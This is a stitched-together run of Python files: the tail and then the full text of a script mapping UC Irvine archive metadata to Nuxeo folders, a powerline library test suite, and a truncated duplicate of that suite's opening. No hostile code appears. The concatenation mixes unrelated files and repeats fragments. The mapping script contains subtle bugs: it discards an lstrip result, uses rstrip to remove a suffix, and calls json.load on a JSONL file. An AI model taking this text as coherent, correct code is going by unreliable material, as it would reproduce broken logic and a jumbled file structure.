Counter(all_titles)[key]>1] print(f"{duplicate_titles=}") for item in items: if item['title'] in duplicate_titles: item['title'] = f"{item["title"]} -- DUPLICATE" with open(payload_file, 'a') as f: f.write(f"{json.dumps(items)}\n") if __name__ == '__main__': sys.exit(main())
import sys import os import argparse import json from collections import Counter SETS = { 'hdl_10575_12033': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Anthill' }, 'hdl_10575_11968': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Yearbooks' }, 'hdl_10575_8408': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Promotional Publications' }, 'hdl_10575_5263': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/New University' }, 'hdl_10575_12031': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Spectre' }, 'hdl_10575_12030': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Spectrum' }, 'hdl_10575_12885': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Daily Pilot' }, 'hdl_10575_12884': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Newporter' }, 'hdl_10575_12032': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Tongue' }, 'hdl_10575_12019': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-063/UCI Athletics News Releases' }, 'hdl_10575_12018': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Course Catalogs' }, 'hdl_10575_5260': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-056/Publish/Photographs' }, 'hdl_10575_11427': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-164' }, 'hdl_10575_5262': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-061/Slides' }, 'hdl_10575_5261': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-061/StaffPhotographerImages' }, 'hdl_10575_11417': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-144/AS-144_Schuyler_anteater-u.mp3' }, 'hdl_10575_5256': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-033/ForCalisphere' }, 'hdl_10575_5255': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-145' }, 'hdl_10575_11986': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-152' }, 'hdl_10575_12034': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-179/PUBLISH' }, 'hdl_10575_5881': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-136/AS136-014-U.mp4' }, 'hdl_10575_12886': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-027/Publish/California College of Medicine Films' }, 'hdl_10575_5257': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-158' }, 'hdl_10575_5259': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-020/Publish' }, 'hdl_10575_13154': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-182/PUBLISH' }, 'hdl_10575_13304': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-190' }, 'hdl_10575_14165': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Filming of Planet of the Apes video' }, 'hdl_10575_13226': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-081' }, 'hdl_10575_5258': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-136' }, 'hdl_10575_1076': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Jaded' }, 'hdl_10575_10876': { 'nuxeo_folder': '/asset-library/UCI/SCA_SpecialCollections/MS-F034/Lacedonia' }, 'hdl_10575_10878': { 'nuxeo_folder': '/asset-library/UCI/SCA_SpecialCollections/MS-F034/Orange_County_Housecleaners' }, 'hdl_10575_9882': { 'nuxeo_folder': '/asset-library/UCI/SCA_SpecialCollections/MS-R035/McMillan' }, } def main(): parser = argparse.ArgumentParser( description='Map metadata to ucldc schema and write to jsonl file') parser.add_argument('setid', help="OAI-PMH set id") argv = parser.parse_args() setid = argv.setid metadata_file = f"json_files/{setid}-unmapped-md.jsonl" # read in jsonl file with open(metadata_file) as mf: data = json.load(mf) # payload file payload_file = f"json_files/{setid}-payload.jsonl" if os.path.exists(payload_file): os.remove(payload_file) items = [] all_filenames = [] all_titles = [] for record in data: # get handle ID handle_id = [identifier for identifier in record.get('identifier') if 'hdl.handle.net' in identifier][0] # get something to match on filenames = [os.path.basename(cr['ref']) for cr in record.get('component_resources')] if len(filenames) == 0 or filenames is None: print(f"No filenames for {record['identifier']=}") if setid == 'hdl_10575_12033': if not filenames[0].startswith('LD781I7S65_'): filenames = [f"LD781I7S65_{filenames[0]}"] elif setid == 'hdl_10575_11968': filename = filenames[0] filename.lstrip('LD781I7S65_') filename = f"{filename[0:18]}.pdf" filenames = [filename] elif setid == 'hdl_10575_8408': if filenames == ['UCITheFirstDecade.pdf']: filenames = ['The First Decade%3A 1965-1975.1491586207490'] elif setid == 'hdl_10575_5263': if 'http://hdl.handle.net/10575/6084' in handle_id: filenames = ['LH1C215S64_19710219.pdf'] elif 'http://hdl.handle.net/10575/6360' in handle_id: filenames = ['LH1C215S64_19760406.pdf'] elif 'http://hdl.handle.net/10575/11995' in handle_id: filenames = ['uci_newspapers_satire_vol-16_screw_university.pdf'] elif 'http://hdl.handle.net/10575/11998' in handle_id: filenames = ['uci_newspapers_satire_vol-17_phew_university.pdf'] elif 'http://hdl.handle.net/10575/11996' in handle_id: filenames = ['uci_newspapers_satire_vol-22_the_only_alternative.pdf'] elif 'http://hdl.handle.net/10575/11997' in handle_id: filenames = ['uci_newspapers_satire_vol-23_the_pee_u.pdf'] if filenames[0].endswith('_pdfa.pdf'): filenames[0] = filenames[0].rstrip('_pdfa.pdf') filenames[0] = f"LH1C215S64_{filenames[0]}.pdf" all_filenames.extend(filenames) # get title title = record.get('title') if title: title = title[0] all_titles.append(title) else: print(f"no title for {handle_id}") items.append( { 'handle_id': handle_id, 'filenames': filenames, 'nuxeo_folder': SETS[setid]['nuxeo_folder'], 'title': title } ) # check for non-unique values all_filenames_set = set(all_filenames) if len(all_filenames) != len(all_filenames_set): print(f"Collection contains non-unique filenames") filename_counter = Counter(all_filenames) duplicate_filenames = [key for key in Counter(all_filenames).keys() if Counter(all_filenames)[key]>1] print(f"{duplicate_filenames}") for item in items: for filename in item['filenames']: if filename in duplicate_filenames: item['filenames'].remove(filename) item['filenames'].append(f"{filename} -- DUPLICATE") all_titles_set = set(all_titles) if len(all_titles) != len(all_titles_set): print(f"Collection contains non-unique titles") titles_counter = Counter(all_titles) duplicate_titles = [key for key in Counter(all_titles).keys() if Counter(all_titles)[key]>1] print(f"{duplicate_titles=}") for item in items: if item['title'] in duplicate_titles: item['title'] = f"{item['title']} -- DUPLICATE" with open(payload_file, 'a') as f: f.write(f"{json.dumps(items)}\n") if __name__ == '__main__': sys.exit(main())
# vim:fileencoding=utf-8:noet from __future__ import (unicode_literals, division, absolute_import, print_function) import threading import os import sys import re import shutil from time import sleep from subprocess import call, PIPE from powerline.lib import add_divider_highlight_group from powerline.lib.dict import mergedicts, REMOVE_THIS_KEY from powerline.lib.humanize_bytes import humanize_bytes from powerline.lib.vcs import guess, get_fallback_create_watcher from powerline.lib.threaded import ThreadedSegment, KwThreadedSegment from powerline.lib.monotonic import monotonic from powerline.lib.vcs.git import git_directory from powerline.lib.shell import run_cmd import powerline.lib.unicode as plu from tests.lib import Pl, replace_attr from tests import TestCase, SkipTest try: __import__('bzrlib') except ImportError: use_bzr = False else: use_bzr = True try: __import__('mercurial') except ImportError: use_mercurial = False else: use_mercurial = True GIT_REPO = 'git_repo' HG_REPO = 'hg_repo' BZR_REPO = 'bzr_repo' def thread_number(): return len(threading.enumerate()) class TestShell(TestCase): def test_run_cmd(self): pl = Pl() self.assertEqual(run_cmd(pl, ['xxx_nonexistent_command_xxx']), None) self.assertEqual(len(pl.exceptions), 1) pl = Pl() self.assertEqual(run_cmd(pl, ['echo', ' test ']), 'test') self.assertFalse(pl) self.assertEqual(run_cmd(pl, ['echo', ' test '], strip=True), 'test') self.assertFalse(pl) self.assertEqual(run_cmd(pl, ['echo', ' test '], strip=False), ' test \n') self.assertFalse(pl) self.assertEqual(run_cmd(pl, ['cat'], stdin='test'), 'test') self.assertFalse(pl) self.assertEqual(run_cmd(pl, ['sh', '-c', 'cat >&2'], stdin='test'), '') self.assertFalse(pl) class TestThreaded(TestCase): def test_threaded_segment(self): log = [] pl = Pl() updates = [(None,)] lock = threading.Lock() event = threading.Event() block_event = threading.Event() class TestSegment(ThreadedSegment): interval = 10 def set_state(self, **kwargs): event.clear() log.append(('set_state', kwargs)) return super(TestSegment, self).set_state(**kwargs) def update(self, update_value): block_event.wait() event.set() # Make sleep first to prevent some race conditions log.append(('update', update_value)) with lock: ret = updates[0] if isinstance(ret, Exception): raise ret else: return ret[0] def render(self, update, **kwargs): log.append(('render', update, kwargs)) if isinstance(update, Exception): raise update else: return update # Non-threaded tests segment = TestSegment() block_event.set() updates[0] = (None,) self.assertEqual(segment(pl=pl), None) self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('set_state', {}), ('update', None), ('render', None, {'pl': pl, 'update_first': True}), ]) log[:] = () segment = TestSegment() block_event.set() updates[0] = ('abc',) self.assertEqual(segment(pl=pl), 'abc') self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('set_state', {}), ('update', None), ('render', 'abc', {'pl': pl, 'update_first': True}), ]) log[:] = () segment = TestSegment() block_event.set() updates[0] = ('abc',) self.assertEqual(segment(pl=pl, update_first=False), 'abc') self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('set_state', {}), ('update', None), ('render', 'abc', {'pl': pl, 'update_first': False}), ]) log[:] = () segment = TestSegment() block_event.set() updates[0] = ValueError('abc') self.assertEqual(segment(pl=pl), None) self.assertEqual(thread_number(), 1) self.assertEqual(len(pl.exceptions), 1) self.assertEqual(log, [ ('set_state', {}), ('update', None), ]) log[:] = () pl.exceptions[:] = () segment = TestSegment() block_event.set() updates[0] = (TypeError('def'),) self.assertRaises(TypeError, segment, pl=pl) self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('set_state', {}), ('update', None), ('render', updates[0][0], {'pl': pl, 'update_first': True}), ]) log[:] = () # Threaded tests segment = TestSegment() block_event.clear() kwargs = {'pl': pl, 'update_first': False, 'other': 1} with lock: updates[0] = ('abc',) segment.startup(**kwargs) ret = segment(**kwargs) self.assertEqual(thread_number(), 2) block_event.set() event.wait() segment.shutdown_event.set() segment.thread.join() self.assertEqual(ret, None) self.assertEqual(log, [ ('set_state', {'update_first': False, 'other': 1}), ('render', None, {'pl': pl, 'update_first': False, 'other': 1}), ('update', None), ]) log[:] = () segment = TestSegment() block_event.set() kwargs = {'pl': pl, 'update_first': True, 'other': 1} with lock: updates[0] = ('def',) segment.startup(**kwargs) ret = segment(**kwargs) self.assertEqual(thread_number(), 2) segment.shutdown_event.set() segment.thread.join() self.assertEqual(ret, 'def') self.assertEqual(log, [ ('set_state', {'update_first': True, 'other': 1}), ('update', None), ('render', 'def', {'pl': pl, 'update_first': True, 'other': 1}), ]) log[:] = () segment = TestSegment() block_event.set() kwargs = {'pl': pl, 'update_first': True, 'interval': 0.2} with lock: updates[0] = ('abc',) segment.startup(**kwargs) start = monotonic() ret1 = segment(**kwargs) with lock: updates[0] = ('def',) self.assertEqual(thread_number(), 2) sleep(0.5) ret2 = segment(**kwargs) segment.shutdown_event.set() segment.thread.join() end = monotonic() duration = end - start self.assertEqual(ret1, 'abc') self.assertEqual(ret2, 'def') self.assertEqual(log[:5], [ ('set_state', {'update_first': True, 'interval': 0.2}), ('update', None), ('render', 'abc', {'pl': pl, 'update_first': True, 'interval': 0.2}), ('update', 'abc'), ('update', 'def'), ]) num_runs = len([e for e in log if e[0] == 'update']) self.assertAlmostEqual(duration / 0.2, num_runs, delta=1) log[:] = () segment = TestSegment() block_event.set() kwargs = {'pl': pl, 'update_first': True, 'interval': 0.2} with lock: updates[0] = ('ghi',) segment.startup(**kwargs) start = monotonic() ret1 = segment(**kwargs) with lock: updates[0] = TypeError('jkl') self.assertEqual(thread_number(), 2) sleep(0.5) ret2 = segment(**kwargs) segment.shutdown_event.set() segment.thread.join() end = monotonic() duration = end - start self.assertEqual(ret1, 'ghi') self.assertEqual(ret2, None) self.assertEqual(log[:5], [ ('set_state', {'update_first': True, 'interval': 0.2}), ('update', None), ('render', 'ghi', {'pl': pl, 'update_first': True, 'interval': 0.2}), ('update', 'ghi'), ('update', 'ghi'), ]) num_runs = len([e for e in log if e[0] == 'update']) self.assertAlmostEqual(duration / 0.2, num_runs, delta=1) self.assertEqual(num_runs - 1, len(pl.exceptions)) log[:] = () def test_kw_threaded_segment(self): log = [] pl = Pl() event = threading.Event() class TestSegment(KwThreadedSegment): interval = 10 @staticmethod def key(_key=(None,), **kwargs): log.append(('key', _key, kwargs)) return _key def compute_state(self, key): event.set() sleep(0.1) log.append(('compute_state', key)) ret = key if isinstance(ret, Exception): raise ret else: return ret[0] def render_one(self, state, **kwargs): log.append(('render_one', state, kwargs)) if isinstance(state, Exception): raise state else: return state # Non-threaded tests segment = TestSegment() event.clear() self.assertEqual(segment(pl=pl), None) self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('key', (None,), {'pl': pl}), ('compute_state', (None,)), ('render_one', None, {'pl': pl}), ]) log[:] = () segment = TestSegment() kwargs = {'pl': pl, '_key': ('abc',), 'update_first': False} event.clear() self.assertEqual(segment(**kwargs), 'abc') kwargs.update(_key=('def',)) self.assertEqual(segment(**kwargs), 'def') self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('key', ('abc',), {'pl': pl}), ('compute_state', ('abc',)), ('render_one', 'abc', {'pl': pl, '_key': ('abc',)}), ('key', ('def',), {'pl': pl}), ('compute_state', ('def',)), ('render_one', 'def', {'pl': pl, '_key': ('def',)}), ]) log[:] = () segment = TestSegment() kwargs = {'pl': pl, '_key': ValueError('xyz'), 'update_first': False} event.clear() self.assertEqual(segment(**kwargs), None) self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('key', kwargs['_key'], {'pl': pl}), ('compute_state', kwargs['_key']), ]) log[:] = () segment = TestSegment() kwargs = {'pl': pl, '_key': (ValueError('abc'),), 'update_first': False} event.clear() self.assertRaises(ValueError, segment, **kwargs) self.assertEqual(thread_number(), 1) self.assertEqual(log, [ ('key', kwargs['_key'], {'pl': pl}), ('compute_state', kwargs['_key']), ('render_one', kwargs['_key'][0], {'pl': pl, '_key': kwargs['_key']}), ]) log[:] = () # Threaded tests segment = TestSegment() kwargs = {'pl': pl, 'update_first': False, '_key': ('_abc',)} event.clear() segment.startup(**kwargs) ret = segment(**kwargs) self.assertEqual(thread_number(), 2) segment.shutdown_event.set() segment.thread.join() self.assertEqual(ret, None) self.assertEqual(log[:2], [ ('key', kwargs['_key'], {'pl': pl}), ('render_one', None, {'pl': pl, '_key': kwargs['_key']}), ]) self.assertLessEqual(len(log), 3) if len(log) > 2: self.assertEqual(log[2], ('compute_state', kwargs['_key'])) log[:] = () segment = TestSegment() kwargs = {'pl': pl, 'update_first': True, '_key': ('_abc',)} event.clear() segment.startup(**kwargs) ret1 = segment(**kwargs) kwargs.update(_key=('_def',)) ret2 = segment(**kwargs) self.assertEqual(thread_number(), 2) segment.shutdown_event.set() segment.thread.join() self.assertEqual(ret1, '_abc') self.assertEqual(ret2, '_def') self.assertEqual(log, [ ('key', ('_abc',), {'pl': pl}), ('compute_state', ('_abc',)), ('render_one', '_abc', {'pl': pl, '_key': ('_abc',)}), ('key', ('_def',), {'pl': pl}), ('compute_state', ('_def',)), ('render_one', '_def', {'pl': pl, '_key': ('_def',)}), ]) log[:] = () class TestLib(TestCase): def test_mergedicts(self): d = {} mergedicts(d, {'abc': {'def': 'ghi'}}) self.assertEqual(d, {'abc': {'def': 'ghi'}}) mergedicts(d, {'abc': {'def': {'ghi': 'jkl'}}}) self.assertEqual(d, {'abc': {'def': {'ghi': 'jkl'}}}) mergedicts(d, {}) self.assertEqual(d, {'abc': {'def': {'ghi': 'jkl'}}}) mergedicts(d, {'abc': {'mno': 'pqr'}}) self.assertEqual(d, {'abc': {'def': {'ghi': 'jkl'}, 'mno': 'pqr'}}) mergedicts(d, {'abc': {'def': REMOVE_THIS_KEY}}) self.assertEqual(d, {'abc': {'mno': 'pqr'}}) def test_add_divider_highlight_group(self): def decorated_function_name(**kwargs): return str(kwargs) func = add_divider_highlight_group('hl_group')(decorated_function_name) self.assertEqual(func.__name__, 'decorated_function_name') self.assertEqual(func(kw={}), [{'contents': repr({str('kw'): {}}), 'divider_highlight_group': 'hl_group'}]) def test_humanize_bytes(self): self.assertEqual(humanize_bytes(0), '0 B') self.assertEqual(humanize_bytes(1), '1 B') self.assertEqual(humanize_bytes(1, suffix='bit'), '1 bit') self.assertEqual(humanize_bytes(1000, si_prefix=True), '1 kB') self.assertEqual(humanize_bytes(1024, si_prefix=True), '1 kB') self.assertEqual(humanize_bytes(1000000000, si_prefix=True), '1.00 GB') self.assertEqual(humanize_bytes(1000000000, si_prefix=False), '953.7 MiB') width_data = { 'N': 1, # Neutral 'Na': 1, # Narrow 'A': 1, # Ambigious 'H': 1, # Half-width 'W': 2, # Wide 'F': 2, # Fullwidth } class TestUnicode(TestCase): def assertStringsIdentical(self, s1, s2): self.assertTrue(type(s1) is type(s2), msg='string types differ') self.assertEqual(s1, s2) def test_unicode(self): self.assertTrue(type('abc') is plu.unicode) def test_unichr(self): self.assertStringsIdentical('\U0010FFFF', plu.unichr(0x10FFFF)) self.assertStringsIdentical('\uFFFF', plu.unichr(0xFFFF)) self.assertStringsIdentical('\x20', plu.unichr(0x20)) def test_u(self): self.assertStringsIdentical('Test', plu.u('Test')) self.assertStringsIdentical('Test', plu.u(b'Test')) self.assertStringsIdentical('«»', plu.u(b'\xC2\xAB\xC2\xBB')) self.assertRaises(UnicodeDecodeError, plu.u, b'\xFF') def test_tointiter(self): self.assertEqual([1, 2, 3], list(plu.tointiter(b'\x01\x02\x03'))) def test_decode_error(self): self.assertStringsIdentical('<FF>', b'\xFF'.decode('utf-8', 'powerline_decode_error')) self.assertStringsIdentical('abc', b'abc'.decode('utf-8', 'powerline_decode_error')) def test_register_strwidth_error(self): ename = plu.register_strwidth_error(lambda s: 3) self.assertStringsIdentical(b'???', 'A'.encode('latin1', ename)) self.assertStringsIdentical(b'abc', 'abc'.encode('latin1', ename)) def test_out_u(self): self.assertStringsIdentical('abc', plu.out_u('abc')) self.assertStringsIdentical('abc', plu.out_u(b'abc')) self.assertRaises(TypeError, plu.out_u, None) def test_safe_unicode(self): self.assertStringsIdentical('abc', plu.safe_unicode('abc')) self.assertStringsIdentical('abc', plu.safe_unicode(b'abc')) self.assertStringsIdentical('«»', plu.safe_unicode(b'\xc2\xab\xc2\xbb')) with replace_attr(plu, 'get_preferred_output_encoding', lambda: 'latin1'): self.assertStringsIdentical('ÿ', plu.safe_unicode(b'\xFF')) self.assertStringsIdentical('None', plu.safe_unicode(None)) class FailingStr(object): def __str__(self): raise NotImplementedError('Fail!') self.assertStringsIdentical('Fail!', plu.safe_unicode(FailingStr())) def test_FailedUnicode(self): self.assertTrue(isinstance(plu.FailedUnicode('abc'), plu.unicode)) self.assertEqual('abc', plu.FailedUnicode('abc')) def test_string(self): self.assertStringsIdentical(str('abc'), plu.string('abc')) self.assertStringsIdentical(str('abc'), plu.string(b'abc')) def test_surrogate_pair_to_character(self): self.assertEqual(0x1F48E, plu.surrogate_pair_to_character(0xD83D, 0xDC8E)) def test_strwidth_ucs_4(self): self.assertEqual(4, plu.strwidth_ucs_4(width_data, 'abcd')) self.assertEqual(4, plu.strwidth_ucs_4(width_data, 'AB')) if sys.maxunicode < 0x10FFFF: raise SkipTest('Can only test strwidth_ucs_4 in UCS-4 Pythons') def east_asian_width(ch): assert (len(ch) == 1) assert ord(ch) == 0x1F48E return 'F' with replace_attr(plu, 'east_asian_width', east_asian_width): # Warning: travis unicodedata.east_asian_width for some reason # thinks this character is 5 symbols wide. self.assertEqual(2, plu.strwidth_ucs_4(width_data, '\U0001F48E')) def test_strwidth_ucs_2(self): self.assertEqual(4, plu.strwidth_ucs_2(width_data, 'abcd')) self.assertEqual(4, plu.strwidth_ucs_2(width_data, 'AB')) if not sys.maxunicode < 0x10FFFF: raise SkipTest('Can only test strwidth_ucs_2 in UCS-2 Pythons') self.assertEqual(2, plu.strwidth_ucs_2(width_data, '\ud83d\udc8e')) class TestVCS(TestCase): def do_branch_rename_test(self, repo, q): st = monotonic() while monotonic() - st < 1: # Give inotify time to deliver events ans = repo.branch() if hasattr(q, '__call__'): if q(ans): break else: if ans == q: break sleep(0.01) if hasattr(q, '__call__'): self.assertTrue(q(ans)) else: self.assertEqual(ans, q) def test_git(self): create_watcher = get_fallback_create_watcher() repo = guess(path=GIT_REPO, create_watcher=create_watcher) self.assertNotEqual(repo, None) self.assertEqual(repo.branch(), 'master') self.assertEqual(repo.status(), None) self.assertEqual(repo.status('file'), None) with open(os.path.join(GIT_REPO, 'file'), 'w') as f: f.write('abc') f.flush() self.assertEqual(repo.status(), ' U') self.assertEqual(repo.status('file'), '??') call(['git', 'add', '.'], cwd=GIT_REPO) self.assertEqual(repo.status(), ' I ') self.assertEqual(repo.status('file'), 'A ') f.write('def') f.flush() self.assertEqual(repo.status(), 'DI ') self.assertEqual(repo.status('file'), 'AM') os.remove(os.path.join(GIT_REPO, 'file')) # Test changing branch self.assertEqual(repo.branch(), 'master') try: call(['git', 'branch', 'branch1'], cwd=GIT_REPO) call(['git', 'checkout', '-q', 'branch1'], cwd=GIT_REPO) self.do_branch_rename_test(repo, 'branch1') call(['git', 'branch', 'branch2'], cwd=GIT_REPO) call(['git', 'checkout', '-q', 'branch2'], cwd=GIT_REPO) self.do_branch_rename_test(repo, 'branch2') call(['git', 'checkout', '-q', '--detach', 'branch1'], cwd=GIT_REPO) self.do_branch_rename_test(repo, lambda b: re.match(r'^[a-f0-9]+$', b)) finally: call(['git', 'checkout', '-q', 'master'], cwd=GIT_REPO) # Test stashing self.assertEqual(repo.stash(), 0) def stash_save(): with open(os.path.join(GIT_REPO, 'file'), 'w') as f: f.write('abc') return call(['git', 'stash', '-u'], cwd=GIT_REPO, stdout=PIPE) def stash_drop(): return call(['git', 'stash', 'drop'], cwd=GIT_REPO, stdout=PIPE) def stash_list(): return call(['git', 'stash', 'list'], cwd=GIT_REPO, stdout=PIPE) try: stash_save() self.assertEqual(repo.stash(), 1) stash_save() self.assertEqual(repo.stash(), 2) stash_drop() self.assertEqual(repo.stash(), 1) stash_drop() self.assertEqual(repo.stash(), 0) finally: while stash_list(): stash_drop() def test_git_sym(self): create_watcher = get_fallback_create_watcher() dotgit = os.path.join(GIT_REPO, '.git') spacegit = os.path.join(GIT_REPO, ' .git ') os.rename(dotgit, spacegit) try: with open(dotgit, 'w') as F: F.write('gitdir: .git \n') gitdir = git_directory(GIT_REPO) self.assertTrue(os.path.isdir(gitdir)) self.assertEqual(gitdir, os.path.abspath(spacegit)) repo = guess(path=GIT_REPO, create_watcher=create_watcher) self.assertEqual(repo.branch(), 'master') finally: os.remove(dotgit) os.rename(spacegit, dotgit) def test_mercurial(self): if not use_mercurial: raise SkipTest('Mercurial is not available') create_watcher = get_fallback_create_watcher() repo = guess(path=HG_REPO, create_watcher=create_watcher) self.assertNotEqual(repo, None) self.assertEqual(repo.branch(), 'default') self.assertEqual(repo.status(), None) with open(os.path.join(HG_REPO, 'file'), 'w') as f: f.write('abc') f.flush() self.assertEqual(repo.status(), ' U') self.assertEqual(repo.status('file'), 'U') call(['hg', 'add', '.'], cwd=HG_REPO, stdout=PIPE) self.assertEqual(repo.status(), 'D ') self.assertEqual(repo.status('file'), 'A') os.remove(os.path.join(HG_REPO, 'file')) def test_bzr(self): if not use_bzr: raise SkipTest('Bazaar is not available') create_watcher = get_fallback_create_watcher() repo = guess(path=BZR_REPO, create_watcher=create_watcher) self.assertNotEqual(repo, None, 'No bzr repo found. Do you have bzr installed?') self.assertEqual(repo.branch(), 'test_powerline') self.assertEqual(repo.status(), None) with open(os.path.join(BZR_REPO, 'file'), 'w') as f: f.write('abc') self.assertEqual(repo.status(), ' U') self.assertEqual(repo.status('file'), '? ') call(['bzr', 'add', '-q', '.'], cwd=BZR_REPO, stdout=PIPE) self.assertEqual(repo.status(), 'D ') self.assertEqual(repo.status('file'), '+N') call(['bzr', 'commit', '-q', '-m', 'initial commit'], cwd=BZR_REPO) self.assertEqual(repo.status(), None) with open(os.path.join(BZR_REPO, 'file'), 'w') as f: f.write('def') self.assertEqual(repo.status(), 'D ') self.assertEqual(repo.status('file'), ' M') self.assertEqual(repo.status('notexist'), None) with open(os.path.join(BZR_REPO, 'ignored'), 'w') as f: f.write('abc') self.assertEqual(repo.status('ignored'), '? ') # Test changing the .bzrignore file should update status with open(os.path.join(BZR_REPO, '.bzrignore'), 'w') as f: f.write('ignored') self.assertEqual(repo.status('ignored'), None) # Test changing the dirstate file should invalidate the cache for # all files in the repo with open(os.path.join(BZR_REPO, 'file2'), 'w') as f: f.write('abc') call(['bzr', 'add', 'file2'], cwd=BZR_REPO, stdout=PIPE) call(['bzr', 'commit', '-q', '-m', 'file2 added'], cwd=BZR_REPO) with open(os.path.join(BZR_REPO, 'file'), 'a') as f: f.write('hello') with open(os.path.join(BZR_REPO, 'file2'), 'a') as f: f.write('hello') self.assertEqual(repo.status('file'), ' M') self.assertEqual(repo.status('file2'), ' M') call(['bzr', 'commit', '-q', '-m', 'multi'], cwd=BZR_REPO) self.assertEqual(repo.status('file'), None) self.assertEqual(repo.status('file2'), None) # Test changing branch call(['bzr', 'nick', 'branch1'], cwd=BZR_REPO, stdout=PIPE, stderr=PIPE) self.do_branch_rename_test(repo, 'branch1') # Test branch name/status changes when swapping repos for x in ('b1', 'b2'): d = os.path.join(BZR_REPO, x) os.mkdir(d) call(['bzr', 'init', '-q'], cwd=d) call(['bzr', 'nick', '-q', x], cwd=d) repo = guess(path=d, create_watcher=create_watcher) self.assertEqual(repo.branch(), x) self.assertFalse(repo.status()) if x == 'b1': open(os.path.join(d, 'dirty'), 'w').close() self.assertTrue(repo.status()) os.rename(os.path.join(BZR_REPO, 'b1'), os.path.join(BZR_REPO, 'b')) os.rename(os.path.join(BZR_REPO, 'b2'), os.path.join(BZR_REPO, 'b1')) os.rename(os.path.join(BZR_REPO, 'b'), os.path.join(BZR_REPO, 'b2')) for x, y in (('b1', 'b2'), ('b2', 'b1')): d = os.path.join(BZR_REPO, x) repo = guess(path=d, create_watcher=create_watcher) self.do_branch_rename_test(repo, y) if x == 'b1': self.assertFalse(repo.status()) else: self.assertTrue(repo.status()) @classmethod def setUpClass(cls): cls.powerline_old_cwd = os.getcwd() os.chdir(os.path.dirname(__file__)) call(['git', 'init', '--quiet', GIT_REPO]) assert os.path.isdir(GIT_REPO) call(['git', 'config', '--local', 'user.name', 'Foo'], cwd=GIT_REPO) call(['git', 'config', '--local', 'user.email', 'bar@example.org'], cwd=GIT_REPO) call(['git', 'commit', '--allow-empty', '--message', 'Initial commit', '--quiet'], cwd=GIT_REPO) if use_mercurial: cls.powerline_old_HGRCPATH = os.environ.get('HGRCPATH') os.environ['HGRCPATH'] = '' call(['hg', 'init', HG_REPO]) with open(os.path.join(HG_REPO, '.hg', 'hgrc'), 'w') as hgrc: hgrc.write('[ui]\n') hgrc.write('username = Foo <bar@example.org>\n') if use_bzr: call(['bzr', 'init', '--quiet', BZR_REPO]) call(['bzr', 'config', 'email=Foo <bar@example.org>'], cwd=BZR_REPO) call(['bzr', 'config', 'nickname=test_powerline'], cwd=BZR_REPO) call(['bzr', 'config', 'create_signatures=0'], cwd=BZR_REPO) @classmethod def tearDownClass(cls): for repo_dir in [GIT_REPO] + ([HG_REPO] if use_mercurial else []) + ([BZR_REPO] if use_bzr else []): shutil.rmtree(repo_dir) if use_mercurial: if cls.powerline_old_HGRCPATH is None: os.environ.pop('HGRCPATH') else: os.environ['HGRCPATH'] = cls.powerline_old_HGRCPATH os.chdir(cls.powerline_old_cwd) if __name__ == '__main__': from tests import main main()
# vim:fileencoding=utf-8:noet from __future__ import (unicode_literals, division, absolute_import, print_function) import threading import os import sys import re import shutil from time import sleep from subprocess import call, PIPE from powerline.lib import add_divider_highlight_group from powerline.lib.dict import mergedicts, REMOVE_THIS_KEY from powerline.lib.humanize_bytes import humanize_bytes from powerline.lib.vcs import guess, get_fallback_create_watcher from powerline.lib.threaded import ThreadedSegment, KwThreadedSegment from powerline.lib.monotonic import monotonic from powerline.lib.vcs.git import git_directory from powerline.lib.shell import run_cmd import powerline.lib.unicode as plu from tests.lib import Pl, replace_attr from tests import TestCase, SkipTest try: __import__('bzrlib') except ImportError: use_bzr = False else: use_bzr = True try: __import__('mercurial') except ImportError: use_mercurial = False else: use_mercurial = True GIT_REPO = 'git_repo' HG_REPO = 'hg_repo' BZR_REPO = 'bzr_repo' def thread_number(): return len(threading.enumerate()) class TestShell(TestCase): def test_run_cmd(self): pl = Pl() self.assertEqual(run_cmd(pl, ['xxx_nonexistent_command_xxx']), None) self.assertEqual(len(pl.exceptions), 1) pl = Pl() self.assertEqual(run_cmd(pl, ['echo', ' test ']), 'test') self.assertFalse(pl) self.assertEqual(run_cmd(pl, ['echo', ' test '], strip=True), 'test') self.assertFalse(pl) 